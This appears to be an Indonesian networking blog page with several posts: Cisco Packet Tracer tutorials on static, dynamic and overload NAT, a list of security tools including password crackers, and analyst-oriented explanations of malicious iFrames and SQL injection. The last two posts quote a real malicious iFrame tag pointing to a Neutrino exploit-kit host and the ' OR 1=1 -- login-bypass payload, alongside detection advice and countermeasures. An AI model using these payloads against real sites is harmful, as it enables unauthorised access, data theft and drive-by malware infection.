Little boy questioned his mother, he asked what he can be in the future..with a sad smile, she tells him he can be anything he wants to be.... Boy said he’d become (an) astronaut and fly out into space crews around the universe he wanted to see the stars and also see other planets in outer space------------- "Why don’t we just keep dreaming, let’s keep our mind with dream and faith, as long as we wish we can make it come true, how old you are never forget your dream and keep dreaming "

Saturday, 26 May 2018

Konfigurasi Overloading NAT (PAT) di Cisco Packet Tracer

Selamat pagi 
Artikel ini merupakan seri ke empat yang membahas Network Address Translation (NAT). 
Oke langsung saja.. 
Kali ini kita coba bahas Overloading atau sering disebut dengan Port Address Translation (PAT).  PAT inilah yang saat ini kita gunakan dalam kebanyakan jaringan yang ada. PAT sangat cocok digunakan pada jaringan kecil yang hanya memiliki satu ip publik dari ISP walaupun sebenarnya bisa untuk menambahkan ip publik lain jika ada.
Untuk NAT static dan dynamic sudah tidak digunakan lagi terkecuali untuk pemetaan server secara manual. 
Hal berbeda tentang konfigurasi PAT ini dengan konfigurasi dynamic NAT sebelumnya adalah :
  • Pool menjadi hanya terdiri dari satu alamat IP saja.
  • menggunakan perintah overload di bagian akhir perintah ip nat inside
  • perintah overload memungkinkan NAT untuk menerjemahkan banyak host di jaringan internal ke satu alamat ip publik.
Cisco Packet tracer bisa download disini
Untuk konfigurasi kita gunakan skema yang sama. bisa download disini
Inside Local Network
Router
Gig0/0 (inside interface)
192.168.1.1/24
Se0/0/0 (outside interface)
36.0.0.100/8
PC
PC0 
192.168.1.10/24
PC1
192.168.1.11/24
Outside Local Network
Router
Gig0/0
200.1.1.1/24
Se0/0/0
36.0.0.1/8
Server (www.gansan.tech)
200.1.1.10/24
NAT POOL “poolsaya”
36.0.0.100/8 (overload)
Disini kita menentukan interface router (Ga 0/0) sebagai inside interface dan interface serial 0/0/0 sebagai outside interface.
Keterangan :
  • Skema saya diatas sudah dikonfigurasi sebelumnya dengan konfigurasi ip address pada semua device (PC, Router dan server), dan routing (rip).
  • Semua perangkat sudah bisa saling terkoneksi.
Menggunakan skema diatas ini kita akan mengkonfigurasi overloading dengan tahapan sebagai berikut :
  1. Mementukan inside dan outside interface "inside local network".
  2. Membuat satu pool yang berisi satu ip publik.
  3. Membuat access list permit untuk mengizinkan jaringan lokal menggunakan ip public dari pool.


1. Mementukan inside dan outside interface "inside local network".

Buka menu konfigurasi CLI pada Router, dan ketikan perintah berikut :
Router#enable
Router#configure terminal 
Router(config)#interface gigabitEthernet 0/0
Router(config-if)#ip nat inside 
Router(config-if)#exit
Router(config)#interface serial 0/0/0
Router(config-if)#ip nat outside 
Router(config-if)#exit

2. Membuat satu pool yang berisi satu ip publik dan mengaktifkan overloading.
Kita buat sebuah pool berisi satu ip public yang siap dipetakan ke ip jaringan lokal.
Misalnya ip publicnya yaitu 36.0.0.100/8, kita buat pool nat nya dengan perintah :
Router(config)#ip nat pool [nama pool] [ip address awal] [ip address akhir] netmask [subnetmask]

Router(config)#ip nat pool poolsaya 36.0.0.100 36.0.0.100 netmask 255.0.0.0
Router(config)#ip nat inside source list 1 pool poolsaya overload

3. Membuat access list permit jaringan lokal untuk menggunakan ip public dari "poolsaya".
Membuat access list "permit" pada jaringan lokal yaitu "192.168.1.0" untuk menggunakan ip public dari pool "poolsaya" dengan perintah :
Router(config)#access-list [no access-list lokal] permit [alamat host] [wildcard mask]

Router(config)#access-list 1 permit 192.168.1.0 0.0.0.255

Wednesday, 23 May 2018

Konfigurasi Dynamic NAT di Cisco Packet Tracer


Selamat malam.. 
Alhamdulilah di bulan ramadhan ini saya masih diberi kesempatan untuk kembali menulis lagi artikel di web ini. Semoga bisa bermanfaat dan jadi berkah buat saya khususnya buat semua pembaca.

Oraiitt.. Kita lanjutkan artikel sebelumnya telah membahas :

Kali ini saya akan coba jelaskan dan simulasikan bagaimana konfigurasi Dynamic Network Address Translation (NAT) menggunakan aplikasi Cisco Packet Tracer.

Pada dasarnya, Dynamic NAT (NAT Dinamis) adalah menggunakan sekelompok ip address untuk menyediakan IP Address Publik kepada sekumpulan host di jaringan lokal. Karena  dynamic NAT tidak menggunakan nomor port, maka setiap komputer yang ingin mengakses keluar jaringan lokal (internet) haruslah memiliki sebuah IP Public. 

Langsung saja, saya akan coba menggunakan skema yang saya pakai sebelumnya untuk melakukan simulasi konfigurasi dynamic NAT.
Skema :
*yang belum punya skema bisa download disini
Inside Local Network
Router
Gig0/0 (inside interface)
192.168.1.1/24
Se0/0/0 (outside interface)
36.0.0.100/8
PC
PC0 
192.168.1.10/24
PC1
192.168.1.11/24
Outside Local Network
Router
Gig0/0
200.1.1.1/24
Se0/0/0
36.0.0.1/8
Server (www.gansan.tech)
200.1.1.10/24
NAT POOL “poolsaya”
Awal IP : 36.0.0.100/8
Akhir IP : 36.0.0.105/8
Disini kita akan menentukan interface router (Gig 0/0) sebagai inside interface dan interface serial 0/0/0 sebagai outside interface Keterangan :
  • Skema saya diatas sudah dikonfigurasi sebelumnya dengan konfigurasi ip address pada semua device (PC, Router dan server), dan routing (rip).
  • Semua perangkat sudah bisa saling terkoneksi.
Menggunakan skema diatas ini kita akan mengkonfigurasi dynamic NAT dengan tahapan sebagai berikut :
  1. Mementukan inside dan outside interface "inside local network".
  2. Membuat satu pool (kelompok) ip public yang akan dipetakan ke ip jaringan lokal.
  3. Membuat access list permit jaringan lokal untuk menggunakan ip public dari pool.
  4. Simulasi
  5. Menampilkan informasi ip nat translation.

Tuesday, 22 May 2018

Konfigurasi Static NAT di Cisco Packet Tracer

Selamat Malam..
Melanjutkan artikel saya sebelumnya tentang Network Address Translation : Fungsi dan Jenisnya. untuk lebih jelas dan mempermudah memahami metode NAT ini saya akan melakukan simulasi NAT pada Cisco Packet Tracer.

NAT dibagi menjadi 3, yaitu Static, Dynamic dan Overloading, sesuai dengan judul disini saya akan simulasikan konfigurasi static NAT terlebih dahulu. Langsung saja cekidot

Skema (download file):
Inside Local Network
Router
Gig0/0 (inside interface)
192.168.1.1/24
Se0/0/0 (outside interface)
36.0.0.100/8
PC

PC0 
192.168.1.10/24
PC1
192.168.1.11/24
Outside Local Network
Router
Gig0/0
200.1.1.1/24
Se0/0/0
36.0.0.1/8
Server (www.gansan.tech)
200.1.1.10/24
Keterangan :

  • Skema saya diatas sudah dikonfigurasi sebelumnya dengan konfigurasi ip address pada semua device (PC, Router dan server), dan routing (rip).
  • Semua perangkat sudah bisa saling terkoneksi.
Menggunaka skema diatas kita akan mengkonfigurasi static nat dengan tahapan sebagai berikut :
  1. Mementukan inside dan outside interface "inside local network".
  2. Memetakan ip jaringan lokal ke ip address publik (satu ke satu).
  3. Simulasi dan packet inspection. dengan mengirim pesan ICMP kita membandingkan isi dari paket ip yang dikirim dari komputer yang ip nya ditranslasi dengan NAT dan tanpa translasi NAT.
  4. Menampilkan informasi ip nat translation.

Monday, 21 May 2018

Network Address Translation (NAT) : Fungsi dan Jenisnya

Network Address Translation (NAT)

NAT mirip dengan Classless Inter-Domain Routing (CIDR), tujuan awal dari digunakan nya NAT adalah memperlambat penipisan atau habisnya ruang alamat IP yang tersedia dengan memungkinkan beberapa alamat IP private diwakili oleh jumlah yang lebih kecil alamat IP publik.

NAT benar-benar menurunkan jumlah besar alamat IP publik yang diperlukan dalam lingkungan jaringan internet. Metode ini dipakai oleh ISP (Internet Service Provider) ketika memberikan layanan internet publik kepada penggunannya. Disisi ISP, mereka memiliki keterbatasan ketersediaan IP publik, dan disisi pengguna mereka memiliki banyak komputer yang ingin terkoneksi secara bersamaan ke internet. dengan adanya NAT, ISP hanya perlu mengalokasikan satu ip publik untuk mengakomodir kebutuhan internet sejumlah besar komputer di jaringan internal penggunanya.

NAT hanya diimplemetasikan pada jaringan berbasis IPv4. Pada jaringan IPv6 tidak perlu lagi menggunakan NAT mengingat jumlah IPv6 yang sangat banyak yang mampu mengalamati seluruh komputer di dunia.  IPv4 yang hanya memiliki panjang 32-bit (jumlah total alamat yang dapat dicapainya mencapai 4,294,967,296 alamat), alamat IPv6 memiliki panjang 128-bit yaitu 2 pangkat 128 =3,4 x 10 pangkat 38. silahkan hitung sendiri :)

Selain itu NAT juga berguna pada kondisi :

  • Ketika anda perlu terhubung ke Internet dan komputer dijaringan internal anda tidak memiliki alamat ip unik secara global (ip publik)
  • Ketika anda beralih ke ISP baru yang mengharuskan anda menyesuaikan kembali pengalamatan jaringan.
  • Ketika anda perlu menggabungkan dua intranet dengan alamat duplikat.

Kelebihan NAT :

  • Menghemat  IP Publik global untuk IPv4.
  • Membuat sejumlah besar host di jaringan internal (private) dengan mudah terkoneksi ke internet melalui border router (gateway).
  • Meningkatnya fleksibilitas jaringan.
  • Menurunkan kerumitan karena dengan adanya NAT terjadi segmentasi antara jaringan publik dan global sehingga dapat dimanajemen secara terpisah dan tidak saling mempengaruhi.

Kekurangan NAT :

  • Terjadi delay pada proses switching karena harus terlebih dahulu melewati proses translasi NAT.
  • Koneksi end-to-end menjadi tidak bisa dilacak.
  • Beberapa aplikasi mungkin tidak akan berfungsi pada jaringan NAT.

Jenis jenis Network Address Translation (NAT) :

  • Static NAT (one-to-one address mapping), NAT jenis ini dirancang untuk memungkinkan pemetaan satu-ke-satu antara IP publik (global) dengan jaringan internal (private). Contoh : satu alamat ip publik secara manual dipetakan ke satu / setiap alamat ip private. Contoh konfigurasi Static NAT

    • Karena static NAT memetakan satu ip privat ke satu ip publik, jika kita punya 500 komputer yang ingin terkoneksi ke internet maka diperlukan 500 ip address publik yang dipetakan secara manual. Repot bukan?!
  • Dynamic NAT (many-to-many address mapping), versi ini memetakan alamat IP private ke alamat IP publik dari sekumpulan alamat IP publik yang terdaftar. NAT jenis ini secara dinamis mentranslasikan IP private yang ingin terkoneksi ke internet ke beberapa IP publik yang  sedang tersedia. Contoh konfigurasi Dynamic NAT

    • Masalah dynamic NAT ini hampir sama dengan static, dengan pemetaan banyak ke banyak maka diperlukan ip publik sejumlah host yang ingin terkoneksi ke internet.
  • Overloading (many-to-one address mapping), overloading Ini adalah jenis konfigurasi NAT yang paling populer. Overloading adalah bentuk NAT dinamis yang memetakan beberapa alamat IP yang tidak terdaftar ke satu alamat IP terdaftar (banyak-ke-satu) dengan menggunakan nomor port yang berbeda. Sekarang, kenapa ini sangat spesial? Nah, karena ini juga dikenal sebagai Port Address Translation (PAT), yang juga biasa disebut sebagai NAT Overload. Menggunakan PAT memungkinkan Anda untuk mengizinkan ribuan pengguna untuk terhubung ke Internet menggunakan hanya satu alamat IP global. Nomor port membantu router mengidentifikasi host mana yang harus menerima traffic pengembalian. Router menggunakan source port dari masing-masing host untuk membedakan traffic dari masing-masing host. Contoh konfigurasi overloading NAT
sumber : CCNA Routing Switching Study Guide

Friday, 18 May 2018

Referensi Alat Keamanan Jaringan (Security Tools)


Selamat malam..
Topik "Referensi Alat Keamanan Jaringan (Security Tools)" ini adalah sebagai referensi yang menunjukkan beberapa tools/software/web yang umum digunakan oleh analis keamanan untuk melakukan fungsi penting seperti mendeteksi kesehatan jaringan, melakukan penilaian risiko, pemindaian port (port scanning), pengujian kerentanan jaringan (penetration test), dan mengambil informasi tentang entitas tertentu. Daftar tools yang dibawah ini tidak dimaksudkan secara lengkap mencakup semua tools  tetapi untuk mencakup beberapa alat keamanan yang paling umum digunakan. 

Serangan cyber saat ini sedang meningkat di seluruh dunia. Para penjahat cyber menargetkan bisnis besar dan kecil untuk mencuri informasi berharga atau membuat jaringan komputer berhenti berfungsi.

Untuk secara efisien mengidentifikasi dan menganalisis peristiwa, analis keamanan harus bergantung pada berbagai alat. Alat ini dapat digunakan sebagai bagian dari penilaian kerentanan atau penilaian ancaman untuk menentukan pemaparan organisasi atau sistem terhadap suatu serangan dan juga dapat digunakan untuk melakukan penyelidikan insiden.

Alat tsb diantaranya :

Alat analisis paket jaringan  (Packet Capture Tools)

  • Cisco IOS Router dan Cisco ASA (http://www.cisco.com/) juga dapat melakukan capture paket.
  • Netsniff-ng (http://netsniff-ng.org/) adalah toolkit jaringan Linux gratis yang mencakup packet capture dan replay file pcap.
  • Sniffit (http://sniffit.sourceforge.net/) adalah sistem sniffer terdistribusi, yang memungkinkan pengguna untuk menangkap lalu lintas jaringan dari mesin unik menggunakan aplikasi klien grafis. Fitur ini sangat berguna dalam jaringan yang diaktifkan, di mana sniffer tradisional hanya memungkinkan pengguna mengendus lalu lintas jaringan mereka sendiri.
  • Tcpdump (http://www.tcpdump.org/) adalah penganalisis paket jaringan yang kuat untuk Linux yang dapat digunakan untuk debugging jaringan dan pemantauan keamanan. WinDump memungkinkan Anda untuk memiliki fungsi yang sama seperti tcpdump di lingkungan Windows. Tcpdump mencetak deskripsi isi paket pada antarmuka jaringan yang cocok dengan ekspresi boolean. Ini juga dapat dijalankan dengan flag -w , yang menyebabkannya untuk menyimpan data paket ke file untuk analisis nanti, dan / atau dengan -r , yang menyebabkannya untuk membaca dari file paket yang disimpan daripada membaca paket dari antarmuka jaringan. Dalam semua kasus, hanya paket yang cocok dengan ekspresi yang akan diproses oleh tcpdump.
  • T-Shark (http://www.wireshark.org/docs/man-pages/tshark.html) adalah penganalisis protokol jaringan. Ini memungkinkan Anda menangkap data paket dari jaringan langsung, atau membaca paket dari file tangkapan yang sebelumnya disimpan, baik mencetak formulir yang diterjemahkan dari paket tersebut ke output standar atau menulis paket ke file. Format file tangkapan asli T-Shark adalah format libpcap, yang juga format yang digunakan oleh tcpdump dan berbagai alat lainnya.
  • Wireshark (http://www.wireshark.org/) adalah penganalisis protokol jaringan GUI yang memungkinkan Anda secara interaktif menelusuri data paket dari jaringan langsung atau dari file tangkapan yang sebelumnya disimpan.
  • Microsoft Message Analyzer (https://www.microsoft.com/en-us/download/details.aspx?id=44226) adalah alat baru untuk menangkap, menampilkan, dan menganalisis lalu lintas pesan protokol, acara, dan sistem atau aplikasi lain pesan dalam pemecahan masalah jaringan dan skenario diagnostik lainnya. Penganalisis Pesan juga memungkinkan Anda memuat, menggabungkan, dan menganalisis data dari log dan file jejak yang disimpan.

Network Scanner

  • Nmap. (http://www.nmap.org/) adalah utilitas open source dan terbuka (lisensi) untuk tujuan network discovery dan audit keamanan.
  • OpenVAS (http://www.openvas.org/) adalah suite pemindaian kerentanan open source berbasis Nessus.

Web Testing Tools

  • Burp Suite (https://portswigger.net/burp/) adalah platform terintegrasi yang dapat digunakan untuk melakukan pengujian keamanan aplikasi web — versi gratis dan berbayar tersedia.
  • Nikto2 (https://cirt.net/Nikto2/) adalah pemindai server web sumber terbuka yang melakukan tes komprehensif terhadap server web untuk beberapa item, termasuk lebih dari 6400 file yang berpotensi berbahaya dan CGI. Nikto memeriksa versi lama dari lebih dari 1200 server, dan masalah khusus versi pada lebih dari 270 server.
  • OWASP Mutillidae II (https://www.owasp.org/index.php/OWASP_Mutillidae_2_Project) adalah aplikasi web gratis, sumber terbuka, dan rentan yang menyediakan target untuk penggemar keamanan web. Mutillidae dapat diinstal di Linux dan Windows. Mutillidae II adalah lingkungan peretasan web yang mudah digunakan yang dirancang untuk laboratorium, penggemar keamanan, ruang kelas, dan target alat penilaian kerentanan.

Password Cracker

  • Cain and Abel (http://www.oxid.it/cain.html) adalah alat pemulihan kata sandi berbasis Windows yang dapat digunakan untuk menangkap dan memonitor lalu lintas jaringan untuk kata sandi, dan memecahkan sandi terenkripsi menggunakan berbagai metode.
  • John the Ripper (http://www.openwall.com/john/) adalah cracker kata sandi cepat, tersedia untuk banyak varian Unix, Windows, DOS, dan OpenVMS. Alat-alat ini mendukung beberapa jenis hash kata sandi.
  • L0phtCrack (http://www.l0phtcrack.com/) adalah alat yang digunakan untuk memecahkan sandi Windows dari hash, yang dapat diperoleh (diberikan akses yang benar) dari workstation Windows yang berdiri sendiri, server jaringan, pengontrol domain utama, atau direktori aktif. Terkadang, ia dapat mengendus hash dari kawat. Ini juga memiliki banyak metode menghasilkan tebakan kata sandi (kamus, kekerasan, dan sebagainya).
  • Ophcrack (http://ophcrack.sourceforge.net/) adalah cracker password Windows gratis yang didasarkan pada tabel pelangi. Ini adalah implementasi yang sangat efisien dari tabel pelangi yang dilakukan oleh penemu metode ini. Ophcrack dilengkapi dengan GUI dan berjalan di berbagai platform.

Tuesday, 15 May 2018

Malicious iFrame (Inline Frames Berbahaya)

Di Internet saat ini, beberapa ancaman berbasis web yang paling canggih dan dirancang untuk bersembunyi di depan mata pada situs situs web yang sah. Sebagian besar malware web terdiri dari skrip kode jahat (malicious script) yang tersembunyi di dalam inline frames, atau disebut dengan iFrames. 

IFrame adalah elemen HTML yang memungkinkan pengembang situs web memuat halaman web lain. Elemen HTML iFrame sering digunakan untuk memasukkan konten seperti iklan dari sumber lain ke halaman web tsb.

Menyisipkan iFrame HTML yang berbahaya ke dalam situs web yang sah telah menjadi vektor serangan umum yang digunakan dalam serangan berbasis web. Terkadang, tidak hanya halaman situs web yang sah yang terinfeksi, tetapi semua halaman lain di situs web juga dapat terinfeksi. Ini dapat menunjukkan bahwa penyerang menggunakan injeksi SQL untuk menyuntikkan iFrame jahat ke dalam database backend dari mana laman web dibuat secara dinamis. Serangan injeksi SQL artikel sebelunya  "SQL Injection (Injeksi SQL)"

Sekarang cara ini menjadi populer dengan maksud untuk mencoba memuat malware ke PC pengguna tanpa mereka pergi ke situs web jahat atau situs web yang disusupi. Bahkan, mereka hanya perlu mengklik tautan di pencarian Google untuk situs populer, di mana exploit telah dimuat. Situs yang terpengaruh termasuk USA Today, Wal-Mart, dan ZD Net Asia, tetapi menyebar.

Halaman web jahat yang dimuat menggunakan iFrame dapat dibuat tidak terlihat dengan hanya menampilkan beberapa piksel (bisa hanya satu piksel) sehingga korban tidak dapat melihat bahwa terdapat elemen iFrame disana. Laman web jahat dapat digunakan untuk mengirimkan eksploit yang akan berjalan secara otomatis ke komputer korban.

Dalam screenshot Wireshark di bawah ini, paket HTTP antara ip address 31.22.4.108 (situs web yang disusupi 30oct2007.com) dan 192.168.204.162 (host korban) berisi iFrame dengan : 
<iframe src = 'http: //eesheshi.ontowess.com: 8000 / fdoufeipqrxkf? Zxchqtevykm = 2404448 'style =' width: 10px; tinggi: 10px; ' frameborder = 'no'> </ iframe> 
sebagai sumber iFrame.
Dalam contoh ini, malware tersebut adalah perangkat eksploitasi "Neutrino yang dikirim dari host yang disusupi 212.83.135.167 eesheshi.ontowess.com ke host korban 192.168.204.162.

SQL Injection (Injeksi SQL)

Serangan SQL menjadi sangat umum dikarenakan adanya database, yang sering mengandung informasi sensitif dan berharga, adalah target yang menarik. Salah satu serangan SQL yang paling umum adalah serangan injeksi SQL (SQL Injection).

Diskusi publik pertama tentang injeksi SQL mulai muncul sekitar tahun 1998. Pada tahun 2017, injeksi SQL dinilai sebagai serangan nomor satu di daftar 10 teratas OWASP.

Pada tahun 2012, sebuah grup hacker yang menyebut dirinya sebagai "D33DS Company" membocorkan alamat surel dan kata sandi untuk 450.000 akun Yahoo. D33DS mengatakan memperoleh data dengan mengeksekusi serangan injeksi SQL terhadap subdomain Yahoo yang tidak disebutkan namanya, yang telah diidentifikasi oleh pakar keamanan sebagai Yahoo Voices. (Sumber: Berita Yahoo)

Analis keamanan harus dapat mengenali kueri SQL yang mencurigakan untuk mendeteksi jika database relasional telah mengalami serangan injeksi SQL.

Serangan injeksi SQL terdiri dari memasukkan kueri SQL melalui data input dari klien ke aplikasi. Eksploitasi injeksi SQL yang berhasil dapat memungkinkan orang yang mengeksekusinya membaca data sensitif dari database, mengubah data basis data, menjalankan operasi administrasi pada database, dan, terkadang, mengeluarkan perintah ke sistem operasi.

Terkecuali aplikasi menggunakan validasi data terhadap masukan atau input secara ketat, akan menjadi rentan terhadap serangan injeksi SQL jika aplikasi menerima dan memproses data yang disediakan pengguna tanpa validasi data masukan apa pun, penyerang dapat mengirimkan string input perusak yang berbahaya untuk memicu serangan injeksi SQL.

Di bawah ini adalah contoh sederhana dari web server dengan halaman login dan backend SQL. Kueri SQL normal mungkin terlihat seperti ini:

SELECT UserID FROM user WHERE username = 'admin' AND password = 'i<3Cisco'

Filed admin dan i<3Cisco digunakan oleh pengguna saat proses login. Server SQL mencari tabel pengguna untuk menemukan entri pertama yang cocok dengan kredensial tersebut. Jika gagal, tidak ada yang akan dikembalikan dan pengguna tidak akan diizinkan untuk masuk. Jika berhasil, ID pengguna akan dikembalikan dan proses login akan dilanjutkan.

Berikut ini adalah kueri yang sama dengan injeksi SQL:

SELECT UserID FROM users WHERE username = 'anything' OR 1=1 -- AND password = 'hacktheplanet'

Sebagai seorang analis, jika Anda melihat string " OR 1 = 1 -- <space>" dalam bentuk respons HTTP, apa yang harus Anda curigai?
Bagian pertama dari kueri, SELECT UserID FROM users WHERE username =, adalah hardcoded, yang tidak dikontrol oleh penyerang.
Penyerang bermain di bagian lain, di mana nama pengguna di sini adalah anything. Tidak masalah apakah pengguna itu benar-benar ada atau tidak, karena OR 1 = 1 menimpa pemeriksaan nama pengguna. Karena menggunakan OR, bagian pertama bisa saja gagal (misalnya, nama pengguna tidak valid), tetapi kueri akan tetap berhasil (karena 1 selalu sama dengan 1).

Bagian terakhir dari query adalah kata sandi, tetapi karena penyerang menyediakan dua garis dan spasi (-- <spasi>), itu merupakan sebuah komentar. Meskipun penyerang mengetik hacktheplanet ke dalam field kata sandi, kata sandi tidak akan ditafsirkan oleh server SQL. Perhatikan bahwa harus ada spasi setelah tanda hubung ganda (--).

Hasilnya adalah bahwa permintaan akan berhasil, meskipun seharusnya gagal, mengingat nama pengguna dan kata sandi yang tidak valid. Masalahnya adalah penyerang akan masuk sebagai pengguna pertama yang cocok, yang bukan merupakan hal yang baik karena pengguna pertama dalam database umumnya adalah administrator. Serangan dapat dimodifikasi untuk menargetkan nama pengguna tertentu, tetapi penyerang harus tahu (atau menebak) nama pengguna itu.

Ada banyak variasi pada serangan ini, tergantung pada SQL server yang tepat. Komentar mungkin perlu tanda pound (#) bukan double-dash (-). Kutipan tunggal (') mungkin perlu berupa kutipan ganda ("). Singkatnya, ini tergantung pada SQL yang digunakan vendor, dan sintaks pernyataan SQL yang digunakan oleh web server. Analis harus hati-hati terhadap tanda kutip tunggal, tanda kutip ganda, dan titik koma, yang dapat digunakan untuk keluar dan menambahkan perintah SQL baru.

Sebagai seorang analis, jika Anda menemukan permintaan SQL seperti itu, Anda perlu menentukan ID pengguna mana yang digunakan oleh penyerang untuk masuk, kemudian mengidentifikasi informasi apa pun atau akses lebih lanjut yang dapat dimanfaatkan oleh penyerang setelah berhasil masuk.

Contoh berikut menunjukkan hasil kueri SQL setelah memasukkan ' or 1=1 -- <space> pada field nama (sekali lagi, ruang tambahan penting) :
Dalam hal ini, menggunakan query SQL tsb semua data akun untuk semua akun dalam database SQL berhasil diekstraksi.

Penanggulangan termasuk yang berikut:
  • Pengembang aplikasi harus mengikuti praktik terbaik untuk melakukan validasi masukan pengguna yang tepat, membatasi, dan membersihkan data input pengguna.
  • Referensi "the OWASP SQL Injection Prevention Cheat Sheet" : https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet.
  • Terapkan solusi IPS untuk mendeteksi dan mencegah injeksi SQL berbahaya.